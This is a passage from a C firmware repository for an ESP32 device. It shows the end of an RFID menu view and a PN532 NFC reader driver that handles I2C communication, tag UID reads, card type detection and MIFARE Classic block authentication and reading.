rfid_menu_view_get_handler()) { 240 | calling_view->clear_view(); 241 | } 242 | 243 | set_current_view_handler(rfid_menu_view_get_handler()); 244 | current_view = RFID_VIEW_MAIN; 245 | lvgl_port_lock(0); 246 | rfid_menu_view = lv_obj_create(lv_screen_active()); 247 | lv_obj_set_size(rfid_menu_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 248 | lv_obj_align(rfid_menu_view, LV_ALIGN_TOP_LEFT, 0, 20); 249 | lv_obj_add_style(rfid_menu_view, style_get_background_main(), LV_PART_MAIN); 250 | 251 | void *menu_labels[RFID_MENU_SIZE]; 252 | uint16_t y = 5; 253 | for (size_t i = 0; i < RFID_MENU_SIZE; i++) { 254 | menu_labels[i] = lv_label_create(rfid_menu_view); 255 | lv_obj_align((lv_obj_t *)menu_labels[i], LV_ALIGN_TOP_LEFT, 5, y); 256 | lv_obj_add_style((lv_obj_t *)menu_labels[i], style_get_font_bigfont(), 257 | LV_PART_MAIN); 258 | if (i == current_menu_item) { 259 | lv_obj_add_style((lv_obj_t *)menu_labels[i], style_get_font_highlight(), 260 | LV_PART_MAIN); 261 | } 262 | lv_label_set_text((lv_obj_t *)menu_labels[i], rfid_menu_texts[i]); 263 | y += 20; 264 | } 265 | lvgl_port_unlock(); 266 | } 267 | 268 | void rfid_menu_view_init(void) { 269 | rfid_menu_view_handler.obj_view = rfid_menu_view; 270 | rfid_menu_view_handler.input_callback = rfid_menu_input_handler; 271 | rfid_menu_view_handler.draw_view = rfid_menu_view_draw; 272 | rfid_menu_view_handler.clear_view = rfid_menu_view_clear; 273 | current_menu_item = RFID_MENU_READ; 274 | current_view = RFID_NOT_IN_VIEW; 275 | spinner = NULL; 276 | } 277 | 278 | view_handler_t *rfid_menu_view_get_handler(void) { 279 | return &rfid_menu_view_handler; 280 | } -------------------------------------------------------------------------------- /components/pn532/pn532.c: -------------------------------------------------------------------------------- 1 | #include "pn532.h" 2 | #include "pn532_registers.h" 3 | 4 | // Common ESP-IDF Helpers 5 | #include "esp_check.h" 6 | #include "esp_err.h" 7 | #include "esp_log.h" 8 | 9 | static const char *TAG = "pn532"; 10 | 11 | static uint8_t uid[PN532_UID_MAX_SIZE]; // ISO14443A uid 12 | static uint8_t uidLen; 13 | static uint8_t key[MFC_KEY_SIZE]; 14 | 15 | static gpio_port_t irq = -1; 16 | static gpio_port_t reset = -1; 17 | static i2c_port_t i2c_port = -1; 18 | static SemaphoreHandle_t i2c_lock = NULL; 19 | 20 | static uint8_t pn532ack[] = {0x00, 0x00, 0xFF, 21 | 0x00, 0xFF, 0x00}; ///< ACK message from PN532 22 | 23 | static uint8_t pn532_packetbuffer[PN532_PACKBUFFSIZ]; 24 | static pn532_record_t pn532_last_record; 25 | static pn532_general_status_t pn532_last_status; 26 | 27 | static uint8_t cardbaudrate; 28 | static uint16_t timeout; 29 | static pn532_callback callback; 30 | static TaskHandle_t read_task = NULL; 31 | 32 | static void pn532_hardware_reset(void); 33 | static esp_err_t pn532_write_command(uint8_t *cmd, size_t cmd_length); 34 | static esp_err_t pn532_read_data(uint8_t *buffer, size_t buffer_size); 35 | static bool pn532_read_ack(void); 36 | 37 | static void pn532_launch_read_task(void *pvParams); 38 | static const pn532_record_t *pn532_read_passive_targetID(uint8_t cardbaudrate, 39 | uint16_t timeout); 40 | 41 | static bool pn532_is_ready(void); 42 | static bool pn532_wait_ready(uint16_t timeout); 43 | 44 | static void pn532_hardware_reset() { 45 | gpio_set_level(reset, 1); 46 | gpio_set_level(reset, 0); 47 | vTaskDelay(400 / portTICK_PERIOD_MS); 48 | gpio_set_level(reset, 1); 49 | // https://www.nxp.com/docs/en/user-guide/141520.pdf page 50 T_osc_start 50 | vTaskDelay(10 / portTICK_PERIOD_MS); 51 | } 52 | 53 | static esp_err_t pn532_write_command(uint8_t *cmd, size_t cmd_length) { 54 | 55 | esp_err_t result = ESP_OK; 56 | 57 | uint8_t *command = (uint8_t *)malloc(cmd_length + 9); 58 | memset(command, 0, cmd_length + 9); 59 | 60 | uint8_t checksum; 61 | checksum = PN532_PREAMBLE + PN532_PREAMBLE + PN532_STARTCODE2; 62 | 63 | // https://www.nxp.com/docs/en/user-guide/141520.pdf page 65 64 | command[0] = PN532_I2C_ADDRESS; 65 | command[1] = PN532_PREAMBLE; 66 | command[2] = PN532_PREAMBLE; 67 | command[3] = PN532_STARTCODE2; 68 | command[4] = (cmd_length + 1); 69 | command[5] = ~(cmd_length + 1) + 1; 70 | command[6] = PN532_HOSTTOPN532; 71 | checksum += PN532_HOSTTOPN532; 72 | 73 | for (uint8_t i = 0; i < cmd_length; i++) { 74 | command[i + 7] = cmd[i]; 75 | checksum += cmd[i]; 76 | } 77 | 78 | command[(cmd_length - 1) + 8] = ~checksum; 79 | command[(cmd_length - 1) + 9] = PN532_POSTAMBLE; 80 | 81 | xSemaphoreTake(i2c_lock, portMAX_DELAY); 82 | 83 | i2c_cmd_handle_t i2ccmd = i2c_cmd_link_create(); 84 | result = i2c_master_start(i2ccmd); 85 | if (result != ESP_OK) { 86 | ESP_LOGE(TAG, "%s: Cannot start i2c master", __func__); 87 | free(command); 88 | i2c_cmd_link_delete(i2ccmd); 89 | xSemaphoreGive(i2c_lock); 90 | return result; 91 | } 92 | 93 | for (uint8_t i = 0; i < cmd_length + 9; i++) { 94 | result = i2c_master_write_byte(i2ccmd, command[i], true); 95 | if (result != ESP_OK) { 96 | ESP_LOGE(TAG, "%s: Cannot write byte: 0x%02x", __func__, command[i]); 97 | free(command); 98 | i2c_cmd_link_delete(i2ccmd); 99 | xSemaphoreGive(i2c_lock); 100 | return result; 101 | } 102 | } 103 | 104 | result = i2c_master_stop(i2ccmd); 105 | if (result != ESP_OK) { 106 | ESP_LOGE(TAG, "%s: Cannot stop i2c master", __func__); 107 | free(command); 108 | i2c_cmd_link_delete(i2ccmd); 109 | xSemaphoreGive(i2c_lock); 110 | return result; 111 | } 112 | 113 | result = i2c_master_cmd_begin(i2c_port, i2ccmd, 114 | I2C_WRITE_TIMEOUT / portTICK_PERIOD_MS); 115 | if (result != ESP_OK) { 116 | ESP_LOGE(TAG, "%s: Cannot begin i2c master", __func__); 117 | free(command); 118 | i2c_cmd_link_delete(i2ccmd); 119 | xSemaphoreGive(i2c_lock); 120 | return result; 121 | } 122 | 123 | i2c_cmd_link_delete(i2ccmd); 124 | xSemaphoreGive(i2c_lock); 125 | free(command); 126 | return result; 127 | } 128 | 129 | static esp_err_t pn532_read_data(uint8_t *buff, size_t buffer_size) { 130 | 131 | esp_err_t result = ESP_OK; 132 | // vTaskDelay(10 / portTICK_PERIOD_MS); 133 | 134 | uint8_t *buffer = (uint8_t *)malloc(buffer_size + 3); 135 | memset(buffer, 0, buffer_size + 3); 136 | memset(buff, 0, buffer_size); 137 | 138 | xSemaphoreTake(i2c_lock, portMAX_DELAY); 139 | 140 | i2c_cmd_handle_t i2ccmd = i2c_cmd_link_create(); 141 | result = i2c_master_start(i2ccmd); 142 | if (result != ESP_OK) { 143 | ESP_LOGE(TAG, "%s: Cannot start i2c master", __func__); 144 | i2c_cmd_link_delete(i2ccmd); 145 | xSemaphoreGive(i2c_lock); 146 | free(buffer); 147 | return result; 148 | } 149 | 150 | result = i2c_master_write_byte(i2ccmd, PN532_I2C_READ_ADDRESS, true); 151 | if (result != ESP_OK) { 152 | ESP_LOGE(TAG, "%s: Cannot write byte:0x%02x", __func__, 153 | PN532_I2C_READ_ADDRESS); 154 | i2c_cmd_link_delete(i2ccmd); 155 | xSemaphoreGive(i2c_lock); 156 | free(buffer); 157 | return result; 158 | } 159 | 160 | for (uint8_t i = 0; i < (buffer_size + 2); i++) { 161 | result = i2c_master_read_byte(i2ccmd, &buffer[i], I2C_MASTER_ACK); 162 | if (result != ESP_OK) { 163 | ESP_LOGE(TAG, "%s: Cannot read byte:%d", __func__, i); 164 | i2c_cmd_link_delete(i2ccmd); 165 | xSemaphoreGive(i2c_lock); 166 | free(buffer); 167 | return result; 168 | } 169 | } 170 | 171 | result = i2c_master_read_byte(i2ccmd, &buffer[buffer_size + 2], 172 | I2C_MASTER_LAST_NACK); 173 | if (result != ESP_OK) { 174 | ESP_LOGE(TAG, "%s: Cannot read byte:%d", __func__, buffer_size + 2); 175 | i2c_cmd_link_delete(i2ccmd); 176 | xSemaphoreGive(i2c_lock); 177 | free(buffer); 178 | return result; 179 | } 180 | 181 | result = i2c_master_stop(i2ccmd); 182 | if (result != ESP_OK) { 183 | ESP_LOGE(TAG, "%s: Cannot stop i2c master", __func__); 184 | i2c_cmd_link_delete(i2ccmd); 185 | xSemaphoreGive(i2c_lock); 186 | free(buffer); 187 | return result; 188 | } 189 | 190 | result = i2c_master_cmd_begin(i2c_port, i2ccmd, 191 | I2C_READ_TIMEOUT / portTICK_PERIOD_MS); 192 | if (result != ESP_OK) { 193 | ESP_LOGE(TAG, "%s: Cannot begin i2c master", __func__); 194 | i2c_cmd_link_delete(i2ccmd); 195 | xSemaphoreGive(i2c_lock); 196 | free(buffer); 197 | return result; 198 | } 199 | 200 | i2c_cmd_link_delete(i2ccmd); 201 | xSemaphoreGive(i2c_lock); 202 | memcpy(buff, buffer + 1, buffer_size); 203 | free(buffer); 204 | return result; 205 | } 206 | 207 | static bool pn532_read_ack(void) { 208 | uint8_t ackbuff[6]; 209 | esp_err_t result = pn532_read_data(ackbuff, 6); 210 | if (result != ESP_OK) { 211 | ESP_LOGE(TAG, "%s: error:0x%02x %s", __func__, result, 212 | esp_err_to_name(result)); 213 | return false; 214 | } 215 | if (memcmp((char *)ackbuff, (char *)pn532ack, 6) != 0) { 216 | ESP_LOGE(TAG, "%s: received ack:0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x", 217 | __func__, ackbuff[0], ackbuff[1], ackbuff[2], ackbuff[3], 218 | ackbuff[4], ackbuff[5]); 219 | return false; 220 | } 221 | return true; 222 | } 223 | 224 | esp_err_t pn532_send_command_check_ack(uint8_t *cmd, size_t cmd_lenght, 225 | uint16_t timeout) { 226 | esp_err_t result = ESP_OK; 227 | 228 | result = pn532_write_command(cmd, cmd_lenght); 229 | vTaskDelay(1 / portTICK_PERIOD_MS); 230 | 231 | if (result != ESP_OK) { 232 | ESP_LOGE(TAG, "%s: error:0x%02x %s", __func__, result, 233 | esp_err_to_name(result)); 234 | return result; 235 | } 236 | 237 | if (!pn532_wait_ready(timeout)) { 238 | ESP_LOGE(TAG, "%s Not ready in time", __func__); 239 | return ESP_FAIL; 240 | } 241 | 242 | if (!pn532_read_ack()) { 243 | ESP_LOGE(TAG, "%s: No ACK Frame received", __func__); 244 | return ESP_FAIL; 245 | } 246 | vTaskDelay(1 / portTICK_PERIOD_MS); 247 | 248 | if (!pn532_wait_ready(timeout)) { 249 | ESP_LOGE(TAG, "%s Not ready in time 2", __func__); 250 | return ESP_FAIL; 251 | } 252 | 253 | return ESP_OK; 254 | } 255 | 256 | static void pn532_launch_read_task(void *pvParams) { 257 | const pn532_record_t *to_return = 258 | pn532_read_passive_targetID(cardbaudrate, timeout); 259 | if (to_return == NULL) { 260 | callback(pn532_get_last_record()); 261 | } else { 262 | callback(to_return); 263 | } 264 | vTaskDelete(read_task); 265 | read_task = NULL; 266 | } 267 | 268 | void pn532_cancel_read_task() { 269 | if (read_task != NULL) { 270 | vTaskDelete(read_task); 271 | read_task = NULL; 272 | } 273 | } 274 | 275 | static bool pn532_is_ready() { return (gpio_get_level(irq) == 0x00); } 276 | 277 | static bool pn532_wait_ready(uint16_t timeout) { 278 | uint16_t timer = 0; 279 | while (!pn532_is_ready()) { 280 | if (timeout != 0) { 281 | timer += 10; 282 | if (timer > timeout) { 283 | ESP_LOGE(TAG, "%s: Wait ready timeout", __func__); 284 | return false; 285 | } 286 | } 287 | vTaskDelay(10 / portTICK_PERIOD_MS); 288 | } 289 | return true; 290 | } 291 | 292 | void pn532_i2c_init(i2c_port_t _i2c_port, gpio_port_t _irq, gpio_port_t _reset, 293 | SemaphoreHandle_t _i2c_lock) { 294 | i2c_lock = _i2c_lock; 295 | i2c_port = _i2c_port; 296 | irq = _irq; 297 | reset = _reset; 298 | memset(&pn532_last_record, 0, sizeof(pn532_record_t)); 299 | 300 | gpio_set_direction(irq, GPIO_MODE_INPUT); 301 | gpio_set_direction(reset, GPIO_MODE_OUTPUT); 302 | 303 | pn532_hardware_reset(); 304 | vTaskDelay(10 / portTICK_PERIOD_MS); 305 | i2c_set_timeout(i2c_port, 0x1f); 306 | pn532_SAM_config(SAM_NORMAL_MODE, 0x14, true); 307 | } 308 | 309 | uint32_t pn532_get_firmware_version() { 310 | static const uint8_t pn532response_firmwarevers[] = {0x00, 0xFF, 0x06, 311 | 0xFA, 0xD5, 0x03}; 312 | uint32_t response; 313 | 314 | pn532_packetbuffer[0] = PN532_COMMAND_GETFIRMWAREVERSION; 315 | 316 | if (pn532_send_command_check_ack(pn532_packetbuffer, 1, I2C_WRITE_TIMEOUT) != 317 | ESP_OK) { 318 | ESP_LOGE(TAG, "%s: send command check ack failed", __func__); 319 | return 0; 320 | } 321 | 322 | if (pn532_read_data(pn532_packetbuffer, 12) != ESP_OK) { 323 | ESP_LOGE(TAG, "%s: Unable to read data", __func__); 324 | return 0; 325 | } 326 | 327 | // check some basic stuff 328 | if (0 != strncmp((char *)pn532_packetbuffer, 329 | (char *)pn532response_firmwarevers, 6)) { 330 | ESP_LOGE(TAG, "%s: Basic stuff failed", __func__); 331 | return 0; 332 | } 333 | 334 | int offset = 7; // Skip a response byte when using I2C to ignore extra data. 335 | response = pn532_packetbuffer[offset++]; 336 | response <<= 8; 337 | response |= pn532_packetbuffer[offset++]; 338 | response <<= 8; 339 | response |= pn532_packetbuffer[offset++]; 340 | response <<= 8; 341 | response |= pn532_packetbuffer[offset++]; 342 | 343 | return response; 344 | } 345 | 346 | esp_err_t pn532_SAM_config(pn532_SAM_mode_t mode, uint8_t timeout, bool irq) { 347 | pn532_packetbuffer[0] = PN532_COMMAND_SAMCONFIGURATION; 348 | pn532_packetbuffer[1] = mode; 349 | pn532_packetbuffer[2] = timeout; // timeout * 50ms 350 | pn532_packetbuffer[3] = (uint8_t)irq; // use IRQ pin? 351 | 352 | if (pn532_send_command_check_ack(pn532_packetbuffer, 4, 200) != ESP_OK) { 353 | ESP_LOGE(TAG, "%s: send command check ack failed", __func__); 354 | return ESP_FAIL; 355 | } 356 | 357 | if (pn532_read_data(pn532_packetbuffer, 9) != ESP_OK) { 358 | ESP_LOGE(TAG, "%s: Unable to read data", __func__); 359 | return ESP_FAIL; 360 | } 361 | uint8_t offset = 6; 362 | if (pn532_packetbuffer[offset] == 0x15) { 363 | return ESP_FAIL; 364 | } 365 | return ESP_OK; 366 | } 367 | 368 | esp_err_t pn532_set_passive_activation_retries(uint8_t max_retries) { 369 | pn532_packetbuffer[0] = PN532_COMMAND_RFCONFIGURATION; 370 | pn532_packetbuffer[1] = 5; // Config item 5 (MaxRetries) 371 | pn532_packetbuffer[2] = 0xFF; // MxRtyATR (default = 0xFF) 372 | pn532_packetbuffer[3] = 0x01; // MxRtyPSL (default = 0x01) 373 | pn532_packetbuffer[4] = max_retries; 374 | 375 | if (pn532_send_command_check_ack(pn532_packetbuffer, 5, I2C_WRITE_TIMEOUT) != 376 | ESP_OK) { 377 | ESP_LOGE(TAG, "%s: send command check ack failed", __func__); 378 | return ESP_FAIL; 379 | } 380 | return ESP_OK; 381 | } 382 | 383 | static const pn532_record_t *pn532_read_passive_targetID(uint8_t cardbaudrate, 384 | uint16_t timeout) { 385 | pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; 386 | pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later) 387 | pn532_packetbuffer[2] = cardbaudrate; 388 | if (pn532_send_command_check_ack(pn532_packetbuffer, 3, timeout) != ESP_OK) { 389 | ESP_LOGE(TAG, "%s: send command check ack failed", __func__); 390 | return NULL; 391 | } 392 | 393 | if (!pn532_wait_ready(timeout)) { 394 | ESP_LOGE(TAG, "%s: Wait ready failed", __func__); 395 | return NULL; 396 | } 397 | 398 | // read data packet 399 | if (pn532_read_data(pn532_packetbuffer, 20) != ESP_OK) { 400 | ESP_LOGE(TAG, "%s: Unable to read data", __func__); 401 | return NULL; 402 | } 403 | 404 | ESP_LOGI(TAG, "%s: Found %d tags", __func__, pn532_packetbuffer[7]); 405 | 406 | if (pn532_packetbuffer[7] != 1) { 407 | ESP_LOGE(TAG, "%s: Response not ok:0x%02x\n", __func__, 408 | pn532_packetbuffer[7]); 409 | return NULL; 410 | } 411 | 412 | uint16_t sens_res = pn532_packetbuffer[9]; 413 | sens_res <<= 8; 414 | sens_res |= pn532_packetbuffer[10]; 415 | 416 | pn532_last_record.ATQA = sens_res; 417 | pn532_last_record.SAK = pn532_packetbuffer[11]; 418 | pn532_last_record.uid_length = pn532_packetbuffer[12]; 419 | 420 | for (uint8_t i = 0; i < pn532_packetbuffer[12]; i++) { 421 | pn532_last_record.uid[i] = pn532_packetbuffer[13 + i]; 422 | } 423 | return &pn532_last_record; 424 | } 425 | 426 | const pn532_record_t *pn532_get_last_record() { return &pn532_last_record; } 427 | 428 | void pn532_background_read_passive_targetID(uint8_t _cardbaudrate, 429 | uint16_t _timeout, 430 | pn532_callback _callback) { 431 | cardbaudrate = _cardbaudrate; 432 | timeout = _timeout; 433 | callback = _callback; 434 | xTaskCreate(pn532_launch_read_task, "PN532ReadTask", 4096, NULL, 4, 435 | &read_task); 436 | } 437 | 438 | esp_err_t pn532_mfc_authenticate_block(uint8_t *_uid, uint8_t _uidLen, 439 | uint32_t blockNumber, uint8_t keyNumber, 440 | const uint8_t *keyData) { 441 | memcpy(key, keyData, 6); 442 | memcpy(uid, _uid, _uidLen); 443 | uidLen = _uidLen; 444 | 445 | // Prepare the authentication command // 446 | pn532_packetbuffer[0] = 447 | PN532_COMMAND_INDATAEXCHANGE; /* Data Exchange Header */ 448 | pn532_packetbuffer[1] = 1; /* Max card numbers */ 449 | pn532_packetbuffer[2] = (keyNumber) ? MIFARE_CMD_AUTH_B : MIFARE_CMD_AUTH_A; 450 | pn532_packetbuffer[3] = 451 | blockNumber; /* Block Number (1K = 0..63, 4K = 0..255 */ 452 | memcpy(pn532_packetbuffer + 4, key, 6); 453 | for (uint8_t i = 0; i < uidLen; i++) { 454 | pn532_packetbuffer[10 + i] = uid[i]; /* 4 byte card ID */ 455 | } 456 | 457 | if (pn532_send_command_check_ack(pn532_packetbuffer, 10 + uidLen, 458 | I2C_WRITE_TIMEOUT) != ESP_OK) { 459 | ESP_LOGE(TAG, "%s: send command check ack failed\n", __func__); 460 | return ESP_FAIL; 461 | } 462 | 463 | if (pn532_read_data(pn532_packetbuffer, 12) != ESP_OK) { 464 | ESP_LOGE(TAG, "%s: Unable to read data", __func__); 465 | return ESP_FAIL; 466 | } 467 | 468 | if (pn532_packetbuffer[7] != 0x00) { 469 | ESP_LOGE(TAG, "%s: bad key:%d block:%ld checkbyte: 0x%02x\n", __func__, 470 | keyNumber, blockNumber, pn532_packetbuffer[7]); 471 | return ESP_FAIL; 472 | } 473 | return ESP_OK; 474 | } 475 | 476 | esp_err_t pn532_mfc_read_data_block(uint8_t blockNumber, uint8_t *data) { 477 | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; 478 | pn532_packetbuffer[1] = 1; /* Card number */ 479 | pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ 480 | pn532_packetbuffer[3] = 481 | blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */ 482 | 483 | if (pn532_send_command_check_ack(pn532_packetbuffer, 4, I2C_WRITE_TIMEOUT) != 484 | ESP_OK) { 485 | ESP_LOGE(TAG, "%s: send command check ack failed", __func__); 486 | return ESP_FAIL; 487 | } 488 | 489 | if (pn532_read_data(pn532_packetbuffer, 26) != ESP_OK) { 490 | ESP_LOGE(TAG, "%s: Unable to read data", __func__); 491 | return ESP_FAIL; 492 | } 493 | 494 | uint8_t check_byte = pn532_packetbuffer[7]; 495 | if (check_byte != 0x00) { 496 | ESP_LOGE(TAG, "%s: %d\terror byte:0x%02x\tNAD:%d\tMI:%d", __func__, 497 | blockNumber, check_byte, (check_byte && 0x80), 498 | (check_byte && 0x20)); 499 | return ESP_FAIL; 500 | } 501 | /* Copy the 16 data bytes to the output buffer */ 502 | /* Block content starts at byte 9 of a valid response */ 503 | memcpy(data, pn532_packetbuffer + 8, MFC_BLOCK_SIZE); 504 | 505 | return ESP_OK; 506 | } 507 | 508 | const pn532_general_status_t *pn532_get_general_status(void) { 509 | 510 | pn532_packetbuffer[0] = PN532_COMMAND_GETGENERALSTATUS; 511 | if (pn532_send_command_check_ack(pn532_packetbuffer, 1, I2C_WRITE_TIMEOUT) != 512 | ESP_OK) { 513 | ESP_LOGE(TAG, "%s: send command check ack failed", __func__); 514 | return NULL; 515 | } 516 | 517 | if (pn532_read_data(pn532_packetbuffer, 22) != ESP_OK) { 518 | ESP_LOGE(TAG, "%s: Unable to read data", __func__); 519 | return NULL; 520 | } 521 | 522 | int offset = 7; // Skip a response byte when using I2C to ignore extra data. 523 | pn532_last_status.last_error = pn532_packetbuffer[offset++]; 524 | pn532_last_status.field_present = pn532_packetbuffer[offset++]; 525 | pn532_last_status.nb_tags = pn532_packetbuffer[offset++]; 526 | for (size_t i = 0; i < pn532_last_status.nb_tags; i++) { 527 | pn532_last_status.tag_status[i].tag_index = pn532_packetbuffer[offset++]; 528 | pn532_last_status.tag_status[i].rx_bitrate = pn532_packetbuffer[offset++]; 529 | pn532_last_status.tag_status[i].tx_bitrate = pn532_packetbuffer[offset++]; 530 | pn532_last_status.tag_status[i].modulation_type = 531 | pn532_packetbuffer[offset++]; 532 | } 533 | 534 | pn532_last_status.SAM_status = pn532_packetbuffer[offset]; 535 | return &pn532_last_status; 536 | } 537 | 538 | void pn532_get_last_uid_string(char *buffer) { 539 | size_t nb_char = 0; 540 | char temp[] = "00"; 541 | for (size_t i = 0; i < pn532_last_record.uid_length; i++) { 542 | sprintf(temp, "%02x", pn532_last_record.uid[i]); 543 | strcat(buffer, temp); 544 | nb_char += sizeof(temp) - 1; 545 | } 546 | buffer[nb_char] = '\0'; 547 | return; 548 | } 549 | 550 | pn532_type_t pn532_get_type(const pn532_record_t *record) { 551 | uint8_t sak = (record->SAK & 0x7F); 552 | switch (sak) { 553 | case 0x04: 554 | return TYPE_NOT_COMPLETE; // UID not complete 555 | case 0x09: 556 | return TYPE_MIFARE_MINI; 557 | case 0x08: 558 | return TYPE_MIFARE_1K; 559 | case 0x18: 560 | return TYPE_MIFARE_4K; 561 | case 0x00: 562 | return TYPE_MIFARE_UL; 563 | case 0x10: 564 | case 0x11: 565 | return TYPE_MIFARE_PLUS; 566 | case 0x01: 567 | return TYPE_TNP3XXX; 568 | case 0x20: 569 | return TYPE_ISO_14443_4; 570 | case 0x40: 571 | return TYPE_ISO_18092; 572 | default: 573 | return TYPE_UNKNOWN; 574 | break; 575 | } 576 | } 577 | 578 | pn532_type_t pn532_get_last_type(void) { 579 | return pn532_get_type(&pn532_last_record); 580 | } 581 | 582 | void pn532_get_type_string(const pn532_record_t *record, char *buffer) { 583 | char type[20]; 584 | switch (pn532_get_type(record)) { 585 | case TYPE_NOT_COMPLETE: 586 | sprintf(type, "NOT COMPLETE"); 587 | break; 588 | 589 | case TYPE_MIFARE_MINI: 590 | sprintf(type, "MIFARE MINI"); 591 | break; 592 | 593 | case TYPE_MIFARE_1K: 594 | sprintf(type, "MIFARE 1K"); 595 | break; 596 | 597 | case TYPE_MIFARE_4K: 598 | sprintf(type, "MIFARE 4K"); 599 | break; 600 | 601 | case TYPE_MIFARE_UL: 602 | sprintf(type, "MIFARE UTRALIGHT"); 603 | break; 604 | 605 | case TYPE_MIFARE_PLUS: 606 | sprintf(type, "MIFARE PLUS"); 607 | break; 608 | 609 | case TYPE_TNP3XXX: 610 | sprintf(type, "TNP3XXX"); 611 | break; 612 | 613 | case TYPE_ISO_14443_4: 614 | sprintf(type, "ISO14443_4"); 615 | break; 616 | 617 | case TYPE_ISO_18092: 618 | sprintf(type, "ISO18092"); 619 | break; 620 | 621 | default: 622 | sprintf(type, "UNKNOWN"); 623 | break; 624 | } 625 | sprintf(buffer, "%s", type); 626 | } 627 | 628 | void pn532_get_last_type_string(char *buffer) { 629 | pn532_get_type_string(&pn532_last_record, buffer); 630 | } --------------------------------------------------------------------------------